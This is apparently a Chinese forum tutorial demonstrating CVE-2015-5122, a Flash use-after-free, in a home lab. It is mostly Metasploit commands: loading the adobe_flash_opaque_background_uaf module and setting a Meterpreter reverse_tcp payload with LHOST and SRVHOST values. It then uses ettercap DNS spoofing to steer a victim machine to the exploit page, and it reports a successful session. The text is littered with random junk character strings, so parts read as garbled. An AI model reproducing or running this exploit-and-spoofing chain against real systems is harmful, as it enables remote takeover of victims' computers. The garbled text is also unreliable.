cve2015-5122漏洞实例演示虚拟机

admin

6 `+ L5 m5 q% C5 B j/ M8 G 二、cve2015-5122漏洞实例演示虚拟机 : L8 _8 g8 v, b6 q1 @

7 ?$ b9 d ~2 c$ a

5 X. g) d# N9 T; C' c   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

8 t+ g7 I) f H) @' z search cve-2015-5122如图： 3 i+ n# d# @ h% g

. |% }# @& R* f! u4 u o

" P" N! j+ n1 z1 E) q$ M   4 @2 b5 V J" {- p) s* J3 t

下面我们敲如下命令：

) {6 G. S' I/ v3 _

2 J9 o( _3 F% ]6 T6 M h) s8 K% D" Q use exploit/multi/browser/adobe_flash_opaque_background_uaf

6 X. m" i; g6 A1 `+ p

. | o1 \( r8 q8 h+ K' r2 G set PAYLOAD windows/meterpreter/reverse_tcp 4 e$ Z; C e/ t: n6 n7 W* K

& B; ^7 ?2 l) C. i

set LHOST 192.168.0.109 2 ]9 [6 \) U1 r: z1 U$ k Z

( C7 U6 i! `0 I4 ]. } set URIPATH /                        /*根目录*/ * O" e' f" P, `: x" _7 C

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

( K" a9 R( t) k, f) j& E

5 K1 F% n; _7 r5 G% K; A set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

9 e/ f1 _5 @0 i3 t' Q9 k" s 然后show options如图：

4 j& P6 ~. T. U" H9 R+ l

 

! X; i- _- n, m3 N; i

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
5 U% V. l9 F! W: g, e

9 J, l1 m. A: [; e1 i 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 & v3 J9 r/ y u& R

: d& j+ `7 h; _% `$ P+ P8 ? Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

* G' w/ [3 r2 X% v8 \  

7 Q6 f7 O/ g6 h/ q 成功了，这时候我们断开ettercap，如图：

4 r) Z4 A! M; u2 h- s

  ( m- V) N% A: f8 i- V$ W2 t% D

- G# h' P7 t2 }2 H$ @0 {- t, P

Screenshot如图：

2 f* @, b* a$ E I8 Z" E   2 f1 i+ I0 M1 E. F9 d( L, n/ J9 o

' F4 o7 A5 J# b5 s* U

" r! G' ^% ]) K6 A6 G1 e